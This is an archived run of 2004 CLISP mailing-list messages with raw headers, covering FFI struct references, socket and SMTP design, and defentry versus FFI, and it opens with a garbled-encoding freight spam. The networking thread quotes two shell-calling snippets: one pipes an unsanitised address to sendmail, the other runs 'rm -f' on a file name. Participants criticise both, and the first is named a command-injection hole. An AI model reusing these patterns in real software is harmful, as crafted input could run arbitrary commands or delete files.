Content-Type: text/plain;charset="GB2312" Reply-To: leon00710@yahoo.com.cn X-Priority: 4 X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Spam-Score: 4.2 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.7 ADDR_NUMS_AT_BIGSITE Uses an address with lots of numbers, at a big ISP 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 1.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook Subject: [clisp-list] =?GB2312?B?uqPUy6Giv9XUy/amvNs=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 11 08:11:07 2004 X-Original-Date: Thu, 12 Feb 2004 00:10:10 +0800 ÎÒ¹«Ë¾ÏÖÓÐȥŷÖÞ»ù±¾¸Û¡¢ÃÀ¶«¡¢ÃÀÎ÷¡¢Öж«µÈÊÀ½ç¸÷µØµÄº£ÔË¡¢¿ÕÔ˵Äö¦¼Û£¬»¶Ó­À´µç¶¨²Ö£¡£¡£¡£¡ º£ÔË 1£© from ÉîÛÚ to Å·ÖÞ»ù±¾¸ÛµÄ¼Û¸ñ usd1250/2450/2600+ORC+DOC+BAF 2£© from ÉîÛÚ to ÃÀ¶«µÄ¼Û¸ñ usd2050/2760/3080+ORC+AMS 3) from ÉîÛÚ to ÃÀÎ÷µÄ¼Û¸ñ usd1365/1850/1950+ORC+AMS ¿ÕÔË 1£©from ÉîÛÚ to Ī˹¿Æ RMB40/KG ×£¹ó¹«Ë¾ÉúÒâÐË¡£¬²ÆÔ´¹ã½ø£¡£¡£¡ ÉîÛÚµÀÈð¹ú¼Ê»õÔËÓÐÏÞ¹«Ë¾ лÏÈÉú£¨leon) µç»°£º0755-82298378-13 ÊÖ»ú£º13715392722 ´«Õ棺0755-82296508 e-mail:leon00710@yahoo.com.cn leon2004001@hotmail.com leon2004001@tom.com From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 12 02:47:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArENu-0007pM-Bj for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 02:47:54 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1ArEKt-00019L-6M for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 02:44:47 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 12 Feb 2004 11:46:38 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1W0J7YML>; Thu, 12 Feb 2004 11:46:38 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD65A@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: nswart@zoominternet.net Subject: [clisp-list] Changing variables in a C dynamic library MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 02:48:06 2004 X-Original-Date: Thu, 12 Feb 2004 11:46:35 +0100 Hi, Nico Swart is confused about some aspects of what the CLISP FFI calls = places. He writes: >Is this because of 'fresh' variables or what am I missing ? I'm not sure what you mean by fresh, but indeed, your C code is passed = a new (stack-allocated) *struct bar, not the distinguished address of = my_struct. >(def-c-var p_my_struct (:LIBRARY "libtest2.so.0") (:type (c-ptr bar))) Please enter p_my_struct at the Lisp prompt. You'll obtain a Lisp-level copy of the struct = contents, as a Lisp structure (or class). Each time p_my_stuct is = evaluated, this copying occurs. When you then write > (get-own-c-float-1 p_my_struct) you pass this Lisp instance to the call-out function, which = stack-allocates a corresponding C struct and fills it from the Lisp = values. I.e. For each call, you pass in a new (pointer to a) struct. Since you don't use :out parameter mode, the bar.out slot that you fill = is never read back by Lisp. What you may want is working with references. These materialize in = CLISP as # objects. Please try out, at the Lisp prompt: (ffi:c-var-object p_my_struct) -> # (ffi:c-var-address p_my_struct) -> # If you want to work with references, you must define your foreign = function as taking a c-pointer instead of (c-ptr bar) and pass it a = reference or address. E.g. (def-call-out get-own-c-float-1 (:arguments (ptr c-pointer)) You cannot have a single call-out function accept either Lisp-level = structures/classes or foreign references interchangeably. You then call the function using either: (get-own-c-float-1 (ffi:c-var-object p_my_struct)) (get-own-c-float-1 (ffi:c-var-address p_my_struct)) The # are normal Lisp objects. You may store them away = like anything else. (defparameter *my-stuct-ref* (ffi:c-var-object p_my_struct)) (get-own-c-float-1 *my-stuct-ref*) You could interface like this (untested): (with-c-var (data 'bar) (setf (slot data 'x) 100.0d0) (setf (slot data 'y) 20.0d0) (values (get-own-c-float-1m (c-var-address data)) ;;notabene: I consider this part bad code: ;;normally I'd only dereference :out slots when the ;; function returns a success indicator. Otherwise the content ;; may be undefined, and reading it may result in a conversion ;; error (not all random bit patterns represent readable data), ;; certainly not one's intent. (slot data 'out))) You could also try to take advantage of the CLISP FFI's :in and :out = modes. These do not feature struct-level granularity. Instead, you must = split them at the function parameter level. I.e. use a struct for :in, = and another for :out values. Try to not create a mixed structure with some :in and some :out values, = as you currently have. Distinguished in and out modes IMHO provide for = a better design, in the sense that it is more amenable to = cross-language interfacing, performance tuning, database interaction = and distributed computing. It also does not require you to initialize :out slots. (with-foreign-object (p 'bar (make-bar :x 10.0d0 :y 20.0d0)) (foreign-value p)) *** - NIL cannot be converted to the foreign type DOUBLE-FLOAT you'd have to add :out 0.0d0 to make-bar. Of course, I myself wrote low-level C code with mixed in and out slots = -- but at least, it was a conscious and weighted decision, instead of = "I always did it this way and never thought about any other one". Regards, J=F6rg H=F6hle. For reference: >struct bar { > double x, y; > double out; >}; >(def-call-out get-own-c-float-1 > (:library "libtest2.so.0") > (:language :stdc) > (:name "test_dll2") > (:arguments (ptr (c-ptr bar))) > (:return-type double-float)) From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 12 05:30:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArGum-0007mO-AK for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 05:30:00 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1ArGrb-0005OX-6b for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 05:26:43 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 14:28:42 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1W0J8FAA>; Thu, 12 Feb 2004 14:28:42 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD746@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Networking? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 05:31:01 2004 X-Original-Date: Thu, 12 Feb 2004 14:28:31 +0100 Hi, John K. Hinsdale wrote: >in fact if one found >oneself using the FFI so that he could make TCP/IP related calls from >"C" for functionality he needed from Lisp, that is probably an >indication that the socket lib is lacking and thus occasion to >incorporate instead those functions in the socket lib instead. >Hope that made sense. Indeed. A decade ago, I made Emacs on my Amiga work with VM (mail client). I added a vm-pop.el and had feedmail.el talk to SMTP servers by adding a single, reasonably small function. Nowadays I'm still using feedmail.el to have GNUEmacs on my MS-Windows box send out E-Mail to the SMTP servers in the corporate intranet. My point is that all it took was to provide the function open-network-stream (cf. tcp.el for a start). Based on that, enough buffer/file/string/process manipulating functions and source code examples were available for sending and reading data. Most of the needs for socket support discussed in clisp-lisp IMHO require little socket-specific code (not talking about UDP here) -- yet requires some Lisp-level API to use. Like in Emacs, a lot of benefit can/could be reached by having good streams/socket integration (which I believe is there in newer CLISPs), so that most of the work can be achieved using standard CL operators to talk to a (possibly bidirectional) stream of bytes or characters. >Now, I *AM* thinking of writing a simple SMTP client for my programs >to send Email notifications to me for certain events. For that I >would use the socket interface directly from Lisp to speak the SMTP >protocol. I wouldn't use the socket FFI here and rather consider the Emacs-like approach. I'd rather use Lisp streams to talk to some socket with an SMTP server at the other end. Esp. CLISP has transparent support for :line-terminator and the mandatory CRLF. I believe CLISP's listen/input-available-p support has gotten to the point where it's actually usuable. But other guys in this list actually using the code should comment on that. A problem IMHO often is that toy code is trivial to write. For example, My Emacs vm-pop.el did not know about time-outs and other network oddities. It entirely relied on mechanisms external to my code to deal with such situations. E.g. me sitting in front of Emacs and hitting ^G when I felt it took too long, because the network connection was poor or whatever. That is possibly why we often see simple libraries (for any programming language), and rarely really defensive and robust code. Granted, it's hard to provide such code, because it's hard to factor the environment into code (like my ^G Emacs example hopefully shows). So there tens to be a lot of look-at-code & modify for own needs, whereas people (esp. Java people) try to standardize try-to-do-and-consider-all-and-everything APIs. I'm unsure whether this is beneficial in the long-run. At least, there seems to be a market (or economic niche?) for small, ad hoc solutions, that mostly work, usually. [IMHO, Python's libraries are full of this, for better or worse, YMMV] Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 12 05:46:55 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArHB9-0005b1-83 for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 05:46:55 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1ArH9z-0008D5-EP for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 05:45:43 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 14:45:34 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1W0J8GKQ>; Thu, 12 Feb 2004 14:45:34 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD758@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] networking MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 05:47:09 2004 X-Original-Date: Thu, 12 Feb 2004 14:44:37 +0100 Hi, Alexander Schreiber wrote: >> Much easier to use something like >> (defun email (address string) >> (let ((s (ext:make-pipe-output-stream (format nil >"sendmail ~A" address)))) >> (princ string s) (close s))) >This is not a good idea. You've just gained yourself a security hole >by not fully sanitizing the address string to avoid shell command >injections and you are relying on being able to use the sendmail >command to send mail. OTOH, SMTP may not be what's needed, e.g. MS-Exchange could be used, or SSL transmissions. Also, the local mail may decide to store some mails locally. It makes some sense to delegate. My point here however is that, coming from an Amiga, I've often had a horror from code which IMHO gratuitously used UNIX (or MS-windows) idioms where portable Lisp code could be used. E.g. I've usually sent e-mail to people when I saw (ext:shell "rm -f " filename) and told them about #'cl:delete-file. Similarly, having used quite different UNIX systems like SunOS, Solaris2, some Linux and *BSD, code like the above tends to work on the author's system only, because of the many different command switches and command paths. In Emacs, there's therefore a tendency to use a lot of configuration variables, but my point is that outside of an editor, you have to provide an awful lot of the same configuration options using your application's GUI (that you thus have to write) or other means, and you need to document that. Lots of DEFVAR in every application is not the best way to configure a system that I can think of. My thoughts much more go towards sets of autonomous agents (let's call them that way), that now well how to perform a well-defined action, e.g. send out a single e-mail. Maybe I'll see such systems put to broad use before the end. Reality is of course, more complex. What if the agent cannot send out the e-mail? What if the address is ot ok? What if...? Must the requesting application know about this? Lots of application/user-specific options raise their ugly heads. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 12 07:07:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArIQk-0007wV-6m for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 07:07:06 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1ArINS-0004VK-1c for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 07:03:42 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 12 Feb 2004 16:05:45 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1W0J8NMJ>; Thu, 12 Feb 2004 16:05:45 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD7EA@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kraehe@copyleft.de Subject: AW: [clisp-list] Networking? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 07:08:01 2004 X-Original-Date: Thu, 12 Feb 2004 16:05:37 +0100 Hi, Michael Koehne wrote: > An FFI implementing simple (read-line and hiding the nastynesses of > IAC telnet signals would be nice. I therefore swiched to GCL where > (defentry is much easier than FFI. This made me curious so I looked at defentry to see whether there was something new about FFI to learn. http://www.scit.wlv.ac.uk/appdocs/gcl/gcl-si_16.html I found nothing particularly attracting to me. If you prefer defentry over FFI then you might wish to take a look at CLISP's module's documentation, esp. modprep. My opinion is that defentry allows you to put some C code into a Lisp file. Modprep allows you to put C code into a mostly-C file, with special preprocessor macros like DEFUN to ease definining parameters. Another approach might be to use FFI:C-LINES to add C code to the current module. Long ago, I thought about extending FFI:C-LINES to be able to add functions and variables that the module system would know about. That would be very similar to defentry. It's really just a matter of some more code in CLISP's foreign1.lisp, given some design choices. I wondered if this could be useful to anybody except me. The list of parameter types supported by defentry is very poor: >The list of allowed types is (object char int float double string) There's some benefit (and also drawbacks) in mixing C and Lisp code a la defentry. Literate programming comes to mind, which mixes code and documentation, and variants like dotweb or dotnoweb, which, from a single source file, extract the shell, C Lisp, TeX, xyz. parts and puts these into separate files. Yet even for small files, I prefer to have separate Lisp and C files, partly because in C, one usually needs a plethora of #include and #ifdef... #include (for portability), which I don't want to see in Lisp files. All in all, we're talking here about ease of use or suitability for fast-forward aka. quick hacks, not about advanced or high-level features. Given my Amiga background, where the goal was to interface to existing libraries, compiling and adding tiny C wrappers was deemed superfluous. Nowadays, I'd expect similar useage patters with FFI to dynamic link libraries on MS-Windows and UNIX: to use an existing libxyz.so/dll/dynlib, *I* wouldn't want to have to define some C glue code. YMMV. In my article on extending CLISP, I believe I had listed some pros and cons on glue code. Regards, Jorg Hohle. From als@thangorodrim.de Thu Feb 12 09:31:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArKga-0008L4-Vp for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 09:31:36 -0800 Received: from osgiliath.yauz.de ([217.17.192.93] ident=f51370f6aff7f16bd230b4b2b94186d9) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1ArKfL-0003Yi-Eq for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 09:30:19 -0800 Received: by osgiliath.yauz.de (Postfix, from userid 10) id 8341B689D; Thu, 12 Feb 2004 18:30:14 +0100 (CET) Received: from mordor.angband.thangorodrim.de (mordor.angband.thangorodrim.de [192.168.42.1]) by frodo.angband.thangorodrim.de (Postfix) with ESMTP id F097C1C105 for ; Thu, 12 Feb 2004 18:18:47 +0100 (CET) Received: by mordor.angband.thangorodrim.de (Postfix, from userid 1069) id 26A12A0E4; Thu, 12 Feb 2004 18:18:47 +0100 (CET) From: Alexander Schreiber To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking Message-ID: <20040212171846.GA26233@mordor.angband.thangorodrim.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD758@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD758@G8PQD.blf01.telekom.de> User-Agent: Mutt/1.3.28i X-URL: http://www.thangorodrim.de X-Public-Key-Fingerprint: AC78 B3A4 583B 3669 0D7A 154E CA70 DC98 C209 0A62 X-PGP-KeyId: C2090A62 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 09:32:05 2004 X-Original-Date: Thu, 12 Feb 2004 18:18:46 +0100 On Thu, Feb 12, 2004 at 02:44:37PM +0100, Hoehle, Joerg-Cyril wrote: > > Alexander Schreiber wrote: > >> Much easier to use something like > >> (defun email (address string) > >> (let ((s (ext:make-pipe-output-stream (format nil > >"sendmail ~A" address)))) > >> (princ string s) (close s))) > > >This is not a good idea. You've just gained yourself a security hole > >by not fully sanitizing the address string to avoid shell command > >injections and you are relying on being able to use the sendmail > >command to send mail. > > OTOH, SMTP may not be what's needed, e.g. MS-Exchange could be used, or > SSL transmissions. Also, the local mail may decide to store some mails > locally. It makes some sense to delegate. So run a local mail server speaking SMTP to local clients and taking care of delivering mail, employing whatever means are appropriate (be it SMTP, UUCP, printer-pigeon-scanner, ...) to deliver the mail further. SMTP _is_ a standard protocol for sending mail and even Exchange can be configured to speak SMTP to the sane remainder of the world. > My point here however is that, coming from an Amiga, I've often had a > horror from code which IMHO gratuitously used UNIX (or MS-windows) > idioms where portable Lisp code could be used. > > E.g. I've usually sent e-mail to people when I saw > (ext:shell "rm -f " filename) > and told them about #'cl:delete-file. Ok, ignoring the facilities of the programming environment one uses in favour of running external commands is asking for punishment. Especially since running external commans usually adds a lot of unnecessary problems (things like needing the sanitize the commandline, checking for locations of executables, verifying execution and so on) and therefore should be avoided as far as sensible just for this reason. > Similarly, having used quite different UNIX systems like SunOS, Solaris2, > some Linux and *BSD, code like the above tends to work on the author's > system only, because of the many different command switches and > command paths. That's an unfortunate problem when one deals with a wide variety of UNIX platforms. Seems like commercial UNIX vendors really _did_ hate the words portability and interoperability. Ways to deal with these problem exist, but they aren't necessarily elegant. > Lots of DEFVAR in every application is not the best way to configure > a system that I can think of. My thoughts much more go towards sets > of autonomous agents (let's call them that way), that now well how to > perform a well-defined action, e.g. send out a single e-mail. Maybe > I'll see such systems put to broad use before the end. So start working on it. Otherwise, the Java/XML crowd will get there first and you'll end up with a few hundert megabytes worth of "Java Enterprise Modular Configuration Agent System" just to send a simple email ;-) > Reality is of course, more complex. What if the agent cannot send out > the e-mail? What if the address is ot ok? What if...? Must the > requesting application know about this? > Lots of application/user-specific options raise their ugly heads. Regards, Alex. PS: Could you please stick to keep your line length below 80 characters? Having to reformat an entire mail when quoting it sucks. -- "Opportunity is missed by most people because it is dressed in overalls and looks like work." -- Thomas A. Edison From kraehe@copyleft.de Thu Feb 12 09:37:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArKmL-0001GP-Cp for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 09:37:33 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1ArKiv-0003WG-2r for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 09:34:01 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout2.freenet.de with asmtp (Exim 4.30) id 1ArKkk-0005nH-Ag; Thu, 12 Feb 2004 18:35:54 +0100 Received: from g4478.g.pppool.de ([80.185.68.120] helo=bakunin.copyleft.de) by mx1.freenet.de with esmtp (Exim 4.30 #6) id 1ArKkj-0007XK-8p; Thu, 12 Feb 2004 18:35:53 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1ArKkj-0000DI-00; Thu, 12 Feb 2004 18:35:53 +0100 From: Michael Koehne To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Networking? Message-ID: <20040212173552.GA560@bakunin.copyleft.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD7EA@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD7EA@G8PQD.blf01.telekom.de> User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 09:38:09 2004 X-Original-Date: Thu, 12 Feb 2004 18:35:52 +0100 Moin Hoehle, Joerg-Cyril, > > An FFI implementing simple (read-line and hiding the nastynesses of > > IAC telnet signals would be nice. I therefore swiched to GCL where > > (defentry is much easier than FFI. > This made me curious so I looked at defentry to see whether there was > something new about FFI to learn. well - I've tried to understand clisp .d files and FFI several times, but failed. My current GCL code is in a stage, that I already use a wrapper macro around defentry and stuff, as GCL has its problem with ELF and ECL has a slightly different defentry syntax. A step would be to extend this wrapper to build a clisp core from same source. CLISP has the smallest footprint and the fastest bytecode engine, for my kind of applications. > Given my Amiga background i know this is totaly off topic, but do you know a clisp for KICK.ROM 3.1, Kickstart version 40.63, Workbench version 34.28 ? The sourceforge only offers linux binaries - and I dont have a C compiler on the Amiga, nor the time to generate a GNU cross compiler on my Debian box. I'm just collecting them for UAE ;) Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Thu Feb 12 10:26:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArLXB-00043v-9F for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 10:25:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1ArLTh-0003OD-OE for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 10:22:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1CINr3s016557; Thu, 12 Feb 2004 13:23:56 -0500 (EST) To: clisp-list@lists.sourceforge.net, Michael Koehne Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040212173552.GA560@bakunin.copyleft.de> (Michael Koehne's message of "Thu, 12 Feb 2004 18:35:52 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD7EA@G8PQD.blf01.telekom.de> <20040212173552.GA560@bakunin.copyleft.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Koehne Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Networking? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 10:26:05 2004 X-Original-Date: Thu, 12 Feb 2004 13:23:53 -0500 > * Michael Koehne [2004-02-12 18:35:52 +0100]: > > I've tried to understand clisp .d files and FFI several times, what do you need to understand .d for? Did you look at the modules facility? what are your problems with the FFI? please be specific - otherwise we cannot help you! -- Sam Steingold (http://www.podval.org/~sds) running w2k Profanity is the one language all programmers know best. From kraehe@copyleft.de Thu Feb 12 12:55:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArNrU-0003HQ-Ay for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 12:55:04 -0800 Received: from mout1.freenet.de ([194.97.50.132] ident=exim) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1ArNnp-0004jV-Uw for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 12:51:18 -0800 Received: from [194.97.55.148] (helo=mx5.freenet.de) by mout1.freenet.de with asmtp (Exim 4.30) id 1ArNq5-0002dv-Gm; Thu, 12 Feb 2004 21:53:37 +0100 Received: from g4478.g.pppool.de ([80.185.68.120] helo=bakunin.copyleft.de) by mx5.freenet.de with esmtp (Exim 4.30 #6) id 1ArNq5-0003kk-78; Thu, 12 Feb 2004 21:53:37 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1ArNq6-0000Va-00; Thu, 12 Feb 2004 21:53:38 +0100 From: Michael Koehne To: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Networking? Message-ID: <20040212205338.GA1436@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 12:56:04 2004 X-Original-Date: Thu, 12 Feb 